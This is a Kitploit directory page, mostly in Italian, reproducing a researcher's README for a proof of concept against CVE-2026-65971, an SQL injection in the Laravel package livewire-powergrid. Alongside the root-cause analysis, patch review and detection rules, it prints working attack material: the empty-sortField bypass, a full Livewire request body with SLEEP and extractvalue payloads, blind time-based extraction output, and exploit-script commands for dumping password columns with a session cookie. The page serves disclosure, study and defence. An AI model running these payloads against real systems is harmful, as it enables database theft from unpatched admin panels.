Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
POC-CVE-2026-65971 — Prova di concetto e analisi tecnica per CVE-2026-65971 — SQL injection tramite la proprietà Livewire sortDirection in power-components/livewire-powergrid (< 6.10.4) | Kitploit
Strumenti/GitHubGitHub/biitts/poc-cve-2026-65971
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingPaper e RicercaApprendimento e Formazione
GitHubbiitts/poc-cve-2026-65971

POC-CVE-2026-65971

Prova di concetto e analisi tecnica per CVE-2026-65971 — SQL injection tramite la proprietà Livewire sortDirection in power-components/livewire-powergrid (< 6.10.4)

Vedi Repository
131 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-65971 — Iniezione SQL in Livewire PowerGrid tramite sortDirection

Prova di concetto e descrizione tecnica completa per CVE-2026-65971 / GHSA-7fgc-3h6c-698r, un'iniezione SQL in power-components/livewire-powergrid raggiungibile tramite la proprietà pubblica di Livewire sortDirection.

CVECVE-2026-65971
GHSAGHSA-7fgc-3h6c-698r
Pacchettopower-components/livewire-powergrid (Composer / Packagist)
Versioni interessate>= 6.0.0, < 6.10.4
Versione corretta6.10.4
DebolezzaCWE-89 — Neutralizzazione impropria di elementi speciali usati in un comando SQL
Gravità7.6 Alta — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
Segnalata daCaio Fabrício (@BiiTts)
DivulgazioneCoordinata, tramite advisory di sicurezza privato su GitHub
├── poc/exploit_powergrid_sqli.py working exploit — confirm + blind extraction
├── lab/ build the vulnerable app to reproduce it yourself
├── evidence/EVIDENCE.txt raw lab notes from confirmation
├── patch/security-fix-v6.10.4.diff the security-relevant portion of the official fix
└── detection/ Sigma rules + Nuclei template for defenders
root@kitploit:~
---

## 🧠 Riepilogo

PowerGrid è un componente datatable per Laravel + Livewire (~2k stelle, ampiamente utilizzato nei
pannelli di amministrazione Laravel). Il suo stato di ordinamento risiede in due **proprietà Livewire pubbliche**:```php
public string $sortField = 'id';
public string $sortDirection = 'asc';

In Livewire, una proprietà pubblica fa parte del formato wire del componente — qualsiasi client che possa raggiungere il componente può impostarla tramite POST /livewire/update. Questo è voluto; il confine di sicurezza è ciò che il server fa con il valore.

La funzionalità naturalSort() di PowerGrid costruisce un'espressione ORDER BY grezza contenente il segnaposto letterale {sortDirection}, e una pipeline sostituisce quel segnaposto con il valore della proprietà grezzo, non validato prima di passare la stringa a orderByRaw(). La parola chiave della direzione finisce quindi letteralmente dentro SQL.

Il orderBy() di Laravel stesso rifiuta qualsiasi cosa che non sia asc/desc, ed è quella validazione a rendere sicuro il normale percorso di ordinamento. Il bug è che esiste un secondo percorso non validato verso la stessa clausola — e un attaccante può raggiungerlo saltando del tutto quello validante (vedi The bypass).

Risultato: SQL arbitrario nella clausola ORDER BY, sfruttabile come oracolo cieco booleano/temporale per leggere qualsiasi dato che l'utente del database può leggere.


🔥 Impatto

Chiunque possa raggiungere una tabella PowerGrid che usa naturalSort può leggere dati arbitrari dal database — altre tabelle, hash di password, token di sessione, chiavi API, record cross-tenant — usando un oracolo temporale / booleano.

  • Riservatezza: Alta. Lettura completa di qualsiasi cosa l'utente del DB possa SELECT.
  • Integrità: Bassa. Le query impilate sono bloccate dalla configurazione predefinita di PDO MySQL, quindi ; UPDATE ... non viene eseguito. L'impatto in scrittura è limitato a ciò che una sottoquery può attivare.
  • Disponibilità: Bassa. La stessa primitiva dà a un attaccante SLEEP() e sottoquery pesanti — facilmente abusabili per bloccare i thread del database.
  • Il posizionamento tipico è il fattore aggravante. Le tabelle PowerGrid si trovano in pannelli di amministrazione e back-office multi-tenant — esattamente dove si trovano i dati interessanti. Un utente tenant con privilegi bassi che raggiunge una di queste tabelle può esfiltrare l'intero database.

Privilegi richiesti: PR:L perché una datatable si trova normalmente dietro l'autenticazione dell'applicazione. Se la tabella interessata viene renderizzata su una pagina non autenticata, si ricalcola con PR:N → 8.2 Alto.


🧩 Causa principale — la catena di taint completa

Tre file, tre stadi. Tutti i riferimenti sono alla tag vulnerabile v6.10.3.

Stadio 1 — Sorgente: una proprietà pubblica controllata dall'attaccante

`src/Concerns/Sorting.php````php public string $sortField = 'id'; // line 11 public string $sortDirection = 'asc'; // line 13

root@kitploit:~
Nessuna delle due proprietà ha una whitelist, una regola di validazione o un setter di normalizzazione. `sortDirection` viene solo assegnato o invertito:```php
public function reverseSort(): string    // line 37
{
    return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}

updatedSortDirection() (riga 103) esiste — il punto naturale per la validazione — ma in v6.10.3 gestisce solo la contabilità del lazy loading. Non ispeziona mai il valore.

Poiché Livewire idrata le proprietà pubbliche direttamente dalla richiesta, sortDirection è completamente controllabile dall'attaccante, come stringa arbitraria, a questo punto.

Fase 2 — La clausola grezza: naturalSort() inserisce un segnaposto

src/Providers/Macros.php, righe 102–116 — la macro per colonne naturalSort:```php Column::macro('naturalSort', function (bool $when = false, ?string $tableName = null): Column { $this->enableSort();

root@kitploit:~
if ($when) {
    $this->rawQueries[] = [
        'method'   => 'orderByRaw',                          // <-- raw sink
        'sql'      => Sql::sortStringAsNumber($this->dataField),
        'bindings' => [],
    ];
}

return $this;

});

root@kitploit:~
`Sql::sortStringAsNumber()` si risolve in un'espressione per driver costruita da
`getSortSqlByDriver()` in `src/DataSource/Support/Sql.php` (righe 60–100). Ogni variante driver
termina con lo stesso segnaposto letterale:```php
$default = "$sortField+0 {sortDirection}";                                                          // line 76
'8.0.4'  => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}",  // MySQL, line 81
'0'      => "CAST($sortField AS INTEGER) {sortDirection}",                                          // SQLite, line 84
'0'      => "CAST(NULLIF(REGEXP_REPLACE($sortField, '\D', '', 'g'), '') AS INTEGER) {sortDirection}", // PgSQL, line 87
'0'      => "CAST(SUBSTRING(...) AS INT) {sortDirection}",                                          // SQL Server, line 90

La vulnerabilità è indipendente dal driver — ogni ramo interpola {sortDirection}.

Fase 3 — Sink: il placeholder viene risolto con il valore grezzo della proprietà

`src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php````php private function resolvePlaceholders(?string $sql): ?string // line 56 { if (is_null($sql)) { return null; }

root@kitploit:~
return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
    $property = trim($matches[1]);

    return data_get($this->component, $property, '');   // line 65 — raw property, no escaping
}, $sql);

}

root@kitploit:~
e l'esecuzione, riga 52:```php
$query->{$method}($resolvedSql, $resolvedBindings);   // $method === 'orderByRaw'

data_get($this->component, 'sortDirection') restituisce la stringa dell'attaccante, preg_replace_callback la inserisce nel testo SQL e orderByRaw() — che per contratto non esegue l'escape del suo argomento — la passa al database.

Nota l'amara ironia una riga sotto: resolveBindings() (riga 69) esiste, e naturalSort dichiara 'bindings' => []. Il meccanismo per la parametrizzazione sicura è proprio lì. Non può essere usato per una parola chiave di direzione — ORDER BY x ? non è SQL valido, una direzione non può mai essere un parametro bindato — ed è esattamente per questo che una parola chiave di direzione deve essere invece inserita in una whitelist.

La catena in una riga```

POST /livewire/update ──▶ public string $sortDirection (Sorting.php:13, no validation) ──▶ data_get($component, 'sortDirection') (ColumnRawQueries.php:65) ──▶ "CAST(...) {sortDirection}" → "CAST(...) asc, (SELECT SLEEP(3))" ──▶ orderByRaw($sql) (ColumnRawQueries.php:52) ──▶ MySQL/MariaDB/PgSQL/SQLite/MSSQL

root@kitploit:~
---

## 🔓 Il bypass — perché la validazione di Laravel non ti salva

Questa è la parte che trasforma l'"interpolazione grezza" in un bug realmente sfruttabile, ed è il
motivo per cui il problema è sopravvissuto in un pacchetto maturo e ampiamente utilizzato.

PowerGrid elabora una query attraverso una **pipeline**. Due fasi di quella pipeline toccano la direzione
di ordinamento:

**Pipeline `Sorting`** — `src/DataSource/Processors/Database/Pipelines/Sorting.php`:```php
public function handle(mixed $query, Closure $next): mixed
{
    // ...
    if (filled($this->component->sortField)) {          // line 21  <-- THE GUARD
        if ($this->component->multiSort) {
            $this->applyMultipleSort($query);
        } else {
            $this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
        }
    }

    return $next($query);
}

private function applySingleSort(..., string $sortField, string $direction): void
{
    // ...
    $query->orderBy($this->component->resolveSortField($sortField), $direction);   // line 42
}

orderBy() è l'API di validazione di Laravel. Passale qualsiasi cosa diversa da asc/desc e genera un'eccezione:``` InvalidArgumentException: Order direction must be "asc" or "desc".

root@kitploit:~
So on the normal path — user clicks a column header, `sortField=name`, `sortDirection=<payload>` —
the framework blocks the injection. A quick audit stops here and concludes "mitigated by Laravel".

**`ColumnRawQueries` pipeline** — the second stage, shown above — has **no such guard**. Look at
its `handle()` (lines 21–27): it iterates the columns, and for every column carrying `rawQueries`
it applies them *unconditionally*. It never consults `sortField`. It never consults the `Sorting`
pipeline's outcome.

That asymmetry is the bug:

| `sortField` | `Sorting` pipeline | `ColumnRawQueries` pipeline | Outcome |
|---|---|---|---|
| `"name"` (filled) | runs → `orderBy()` **validates** → throws on payload | runs → injects | ❌ blocked by the exception |
| `""` (empty) | `filled('')` is `false` → **skipped entirely** | runs → injects | ✅ **injection lands** |

Setting **`sortField` to an empty string** makes the validating stage skip itself, while the raw
stage still emits the `naturalSort` `ORDER BY` with the attacker's `{sortDirection}` in it. Laravel's
validation is never invoked, because the code path containing it never executes.

**The full attack is therefore two fields, not one:** `sortDirection` carries the payload,
and `sortField=""` is the key that unlocks the door.

---

## 🎯 The exact fields

Everything happens through Livewire's standard update endpoint. No special headers, no custom
route, no admin function.

**Endpoint:** `POST /livewire/update`

**Body (JSON):**```json
{
  "_token": "<CSRF token from the page>",
  "components": [
    {
      "snapshot": "<wire:snapshot of the PowerGrid component, taken from the rendered HTML>",
      "updates": {
        "sortField": "",
        "sortDirection": "asc, (SELECT SLEEP(3))"
      },
      "calls": []
    }
  ]
}
CampoRuoloValore
components[0].updates.sortDirectionpunto di iniezioneil payload SQL, prefissato con una direzione valida così che la clausola rimanga sintatticamente integra
components[0].updates.sortFieldchiave di bypass"" — vuota, per saltare la pipeline di validazione Sorting
components[0].snapshotplumbingstato del componente Livewire; estratto da wire:snapshot="..." nell'HTML della pagina (decodificare l'HTML)
_token / X-CSRF-TOKENplumbingestratto da data-csrf="..." o dal blob "csrf":"..." nella pagina

SQL risultante (lab MariaDB, tabella rooms, colonna name con naturalSort):```sql select * from rooms order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc, (SELECT SLEEP(3)) limit 3 offset 0

root@kitploit:~
Il payload si trova in uno slot di espressione completo della lista `ORDER BY`, motivo per cui una subquery nuda funziona e per cui la clausola rimane SQL valido.

---

## 🔬 Come è stato scoperto — il percorso attraverso il codice

L'ordine seguente è l'ordine reale del ragionamento, incluso il passaggio che ha quasi chiuso l'indagine come falso positivo.

**1. Prima la superficie d'attacco: le proprietà pubbliche di Livewire sono input dell'attaccante.**
Il modello stesso del framework afferma che ogni proprietà `public` di un componente è scrivibile dal client tramite `/livewire/update`. Quindi la domanda di audit per qualsiasi pacchetto Livewire non è "c'è input utente?" ma "quali proprietà pubbliche raggiungono un sink pericoloso?". Enumerate le proprietà pubbliche di PowerGrid; `$sortField` e `$sortDirection` sono emerse come quelle che esistono specificamente per essere composte in SQL.

**2. Seguile fino a ogni sink.** Ho cercato nel pacchetto le API SQL raw — `orderByRaw`, `whereRaw`, `selectRaw`, `havingRaw`, `DB::raw` — e ho cercato qualunque cosa potesse ricevere quelle proprietà. Il `'method' => 'orderByRaw'` di `naturalSort` in `Macros.php` è stato il punto trovato.

**3. Trova la connessione tra proprietà e sink.** L'SQL raw in `Sql.php` non faceva riferimento a `$this->sortDirection`; conteneva la stringa letterale `{sortDirection}`. Un templating del genere implica un risolutore da qualche parte. La ricerca del pattern con le parentesi graffe ha portato a `ColumnRawQueries::resolvePlaceholders()` e al suo `data_get($this->component, $property, '')` — un lettore di proprietà generico senza escaping. Sorgente e sink ora collegati.

**4. Il passaggio che quasi l'ha uccisa: la mitigazione.** Primo tentativo dal vivo — impostare `sortDirection` a un payload e sparare — ha prodotto non una leak ma `InvalidArgumentException: Order direction must be "asc" or "desc".` Il `orderBy()` di Laravel lo intercettava. La conclusione allettante qui è *"il framework mitiga, non sfruttabile"*, e quella conclusione sarebbe stata sbagliata.

**5. Chiediti da dove arriva l'eccezione, non solo che è accaduta.** La traccia puntava al `orderBy()` della pipeline `Sorting` — **uno stadio diverso** dal sink `orderByRaw()` identificato al punto 2. Due stadi, due scritture indipendenti nello stesso `ORDER BY`, solo uno dei quali valida. Questo ha riformulato la domanda da "posso sconfiggere il validatore di Laravel?" (no — è un confronto rigoroso) a **"posso raggiungere lo stadio raw senza eseguire lo stadio di validazione?"**

**6. Leggi la guardia.** Lo stadio di validazione gira sotto `if (filled($this->component->sortField))`. `filled('')` è `false`. Lo stadio raw non ha alcuna guardia. Il bypass è stata una conseguenza diretta: invia `sortField=""` e gira solo lo stadio non protetto.

**7. Conferma empiricamente, due volte, con tecniche indipendenti.** Un singolo segnale positivo non è un finding — un delta temporale potrebbe essere un rate limiter, un errore potrebbe essere un generico 500. Sia una prova basata su errori (il database che rimanda indietro la subquery iniettata verbatim) sia un oracolo booleano basato sul tempo (che distingue TRUE da FALSE su dati reali) sono stati necessari prima di dichiararlo confermato. Vedi [Evidence](#-evidence).

**Insegnamento generalizzabile:** una mitigazione a livello di framework protegge solo il percorso di codice su cui si trova. Quando due stadi della pipeline scrivono nella stessa clausola SQL, "il framework lo valida" è un'affermazione su uno solo di essi. Chiediti sempre in quale stadio vive effettivamente la validazione e se lo stadio pericoloso può girare da solo.

---

## 🧪 Evidence

Lab: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10.3 + MariaDB, con un componente PowerGrid `RoomTable` la cui colonna `name` dichiara `->naturalSort(true)` e una tabella `rooms` che contiene una colonna `secret`. Lab completo in [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/main/lab).

**Basato su errori — la subquery iniettata raggiunge il DB verbatim** (HTTP 500, `SQLSTATE[HY000] 1105`):```sql
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
  (select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0

Il database ha analizzato ed eseguito una SELECT fornita dall'attaccante all'interno dell'ORDER BY. Questa è una prova inequivocabile di injection — il testo di errore contiene la SQL iniettata così come è stata eseguita, non come è stata inviata.

Blind time-based — estrazione arbitraria di dati:``` asc -> 0.02s baseline asc, (SELECT SLEEP(3)) -> 9.04s injection executes asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%')-> 9.03s TRUE — value leaks asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'ZZZ%') -> 0.02s FALSE — oracle is sound

root@kitploit:~
La coppia TRUE/FALSE è ciò che porta questo da "qualcosa è lento" a "posso leggere i tuoi dati":
la stessa forma di richiesta restituisce due tempistiche nettamente separate a seconda di una condizione su un
valore che l'attaccante non può vedere. Questo è un oracolo funzionante, e `poc/exploit_powergrid_sqli.py`
lo percorre carattere per carattere.

> `SLEEP(3)` produce ~9s invece di ~3s perché l'ordinamento applica l'espressione di sleep su
> più righe — un segnale più forte, non più debole.

Note grezze: [`evidence/EVIDENCE.txt`](https://github.com/biitts/poc-cve-2026-65971/blob/main/evidence/EVIDENCE.txt).

---

## ⚙️ Prova di concetto

Senza dipendenze, solo libreria standard di Python 3.```bash
python3 poc/exploit_powergrid_sqli.py http://127.0.0.1:8001/rooms

Il tool:

  1. GET la pagina e recupera il token CSRF più lo wire:snapshot del componente PowerGrid;
  2. misura una richiesta benigna sortDirection=asc come baseline;
  3. invia sortField="" / sortDirection="asc, (SELECT SLEEP(3))" e confronta i tempi;
  4. se il delta conferma l'esecuzione, estrae i dati carattere per carattere tramite l'oracolo booleano.

Flag utili:```bash

non-destructive check only — verify vulnerable/patched, no data extraction

python3 poc/exploit_powergrid_sqli.py http://target/rooms --check-only

choose what to extract

python3 poc/exploit_powergrid_sqli.py http://target/rooms --table users --column password --length 20

authenticated targets (datatables usually sit behind login)

python3 poc/exploit_powergrid_sqli.py http://target/admin/rooms --cookie "laravel_session=..."

root@kitploit:~
Contro un target `6.10.4` patchato, lo script non riporta alcun delta temporale ed esce in modo pulito — l'allowlist riduce ogni payload a `asc`.

---

## ✅ Analisi del fix (`v6.10.4`)

I manutentori hanno implementato **difesa in profondità su quattro punti di chiamata** — la forma corretta per questa classe di bug. La primitiva:```php
// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
    $direction = strtolower(trim((string) $direction));

    return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}

Una allowlist rigorosa con un default sicuro — non una blacklist, non escaping, non una regex. Per una keyword che non può essere un parametro bindato, questo è l'unico controllo corretto.

Applicato in:

  1. ColumnRawQueries::resolvePlaceholders() — il sink. {sortDirection} ora è un caso speciale e viene risolto solo tramite sanitizeSortDirection(), mai attraverso il generico data_get().
  2. Concerns\Sorting::updatedSortDirection() — l'hook di Livewire. Sanitizza in scrittura, quindi la proprietà stessa non può più contenere un payload.
  3. Concerns\Sorting::sortBy() — sanitizza l'argomento della direzione.
  4. Pipelines\Sorting::applySingleSort() / applyMultipleSort() — copre i callback sortUsing forniti dall'utente, che possono costruire il proprio orderByRaw. Questo ha chiuso un secondo percorso correlato oltre a quello segnalato originariamente.

Sono stati aggiunti test di regressione: tests/Feature/SortDirectionInjectionTest.php e una DishesNaturalSortTable fixture.

Verifica della patch eseguita sul tag rilasciato (non su una promessa): clonato v6.10.4, effettuato grep su ogni sink di direzione raw, eseguita la suite (30/30 superati), e fuzzato sanitizeSortDirection() con 17 payload — il payload temporale dell'advisory, byte nulli, commenti SQL, letterali hex, maiuscole/minuscole miste, padding di spazi bianchi, unicode. Tutti collassano a asc o desc. I sink rimanenti (export tramite WithExport/ExportableJob, Scout) passano attraverso orderBy() validato piuttosto che orderByRaw() e non sono iniettabili.

Verdetto: PATCHED.

La parte del diff rilevante per la sicurezza è in patch/.


🛡️ Rimedio e rilevamento

Se usi PowerGrid```bash

composer require power-components/livewire-powergrid:^6.10.4 composer audit

root@kitploit:~
**Aggiorna — non cercare di aggirarlo.** Se davvero non puoi aggiornare oggi, la mitigazione
temporanea è di sanificare sul componente stesso:```php
public function updatedSortDirection(): void
{
    $this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
        ? strtolower(trim($this->sortDirection))
        : 'asc';
}

Questa è una soluzione tampone. Aggiorna.

Sono interessato?

La precondizione è che almeno una colonna dichiari naturalSort:```bash grep -rn "naturalSort" app/ resources/

root@kitploit:~
Nessuna colonna `naturalSort` significa che l'`ORDER BY` grezzo non viene mai registrato, e il percorso principale non
è raggiungibile. Nota che `v6.10.4` ha inoltre irrobustito il percorso di callback `sortUsing` — se i tuoi callback di ordinamento
personalizzati costruiscono SQL grezzo a partire dalla direzione, sei esposto anche attraverso quel percorso, con o senza
`naturalSort`.

### Rilevare lo sfruttamento

L'attacco è una richiesta Livewire dall'aspetto normale; non c'è alcun endpoint o metodo insolito su cui fare
alert. Osserva il **valore** di `sortDirection` — il traffico legittimo invia solo `asc` o `desc`.

Qualsiasi altra cosa è, per definizione, anomala. Segnali pratici:

- `POST /livewire/update` dove il corpo JSON contiene `"sortDirection"` con un valore che non è
  esattamente `asc`/`desc` (senza distinzione tra maiuscole e minuscole) — alta fedeltà, falsi positivi quasi nulli;
- la stessa richiesta con `"sortField":""` (vuoto) insieme a un `sortDirection` non banale —
  la firma esatta del bypass;
- parole chiave SQL in quel valore: `SELECT`, `SLEEP`, `BENCHMARK`, `extractvalue`, `updatexml`, `0x`;
- log di errori applicativi con `SQLSTATE[HY000] 1105` o `SQLSTATE[42000]` che fanno riferimento a `order by`;
- raffiche di POST con la stessa forma e tempi di risposta che si raggruppano in modo bimodale (veloci/lente) — un oracolo cieco
  che viene interrogato.

Due regole Sigma sono fornite in [`detection/sortdirection-sqli.yml`](https://github.com/biitts/poc-cve-2026-65971/blob/main/detection/sortdirection-sqli.yml) —
una sul corpo della richiesta, una sulla firma dell'errore di database per quando il logging del corpo non è
disponibile. Un template Nuclei che segnala i componenti PowerGrid raggiungibili (la superficie prerequisita)
è in [`detection/nuclei-powergrid-sortdirection-sqli.yaml`](https://github.com/biitts/poc-cve-2026-65971/blob/main/detection/nuclei-powergrid-sortdirection-sqli.yaml);
conferma qualsiasi riscontro con `poc/exploit_powergrid_sqli.py --check-only`.

---

## 📚 Riferimenti

- Avviso di sicurezza GitHub — [GHSA-7fgc-3h6c-698r](https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r)
- NVD — [CVE-2026-65971](https://nvd.nist.gov/vuln/detail/CVE-2026-65971)
- Rilascio del fix — [`v6.10.4`](https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4)
- Diff del fix — [`v6.10.3...v6.10.4`](https://github.com/Power-Components/livewire-powergrid/compare/v6.10.3...v6.10.4)
- CWE-89 — [Neutralizzazione impropria di elementi speciali usati in un comando SQL](https://cwe.mitre.org/data/definitions/89.html)
- Livewire — [Le proprietà sono scrivibili dal client](https://livewire.laravel.com/docs/properties#security-concerns)

---

## ⚖️ Legale

Pubblicato dopo una divulgazione coordinata, una patch rilasciata e un avviso pubblico del fornitore. Il PoC
ha come bersaglio il laboratorio locale in [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/main/lab) ed è pensato per i difensori che validano la propria esposizione
e per i ricercatori che studiano questa classe di bug. Eseguirlo su sistemi che non sei autorizzato a
testare è illegale. Sei responsabile di ciò che ne fai.

---

**Caio Fabrício** — [@BiiTts](https://github.com/BiiTts) · [LinkedIn](https://www.linkedin.com/in/caio-fabrício-b978131b5/)
Scarica lo strumento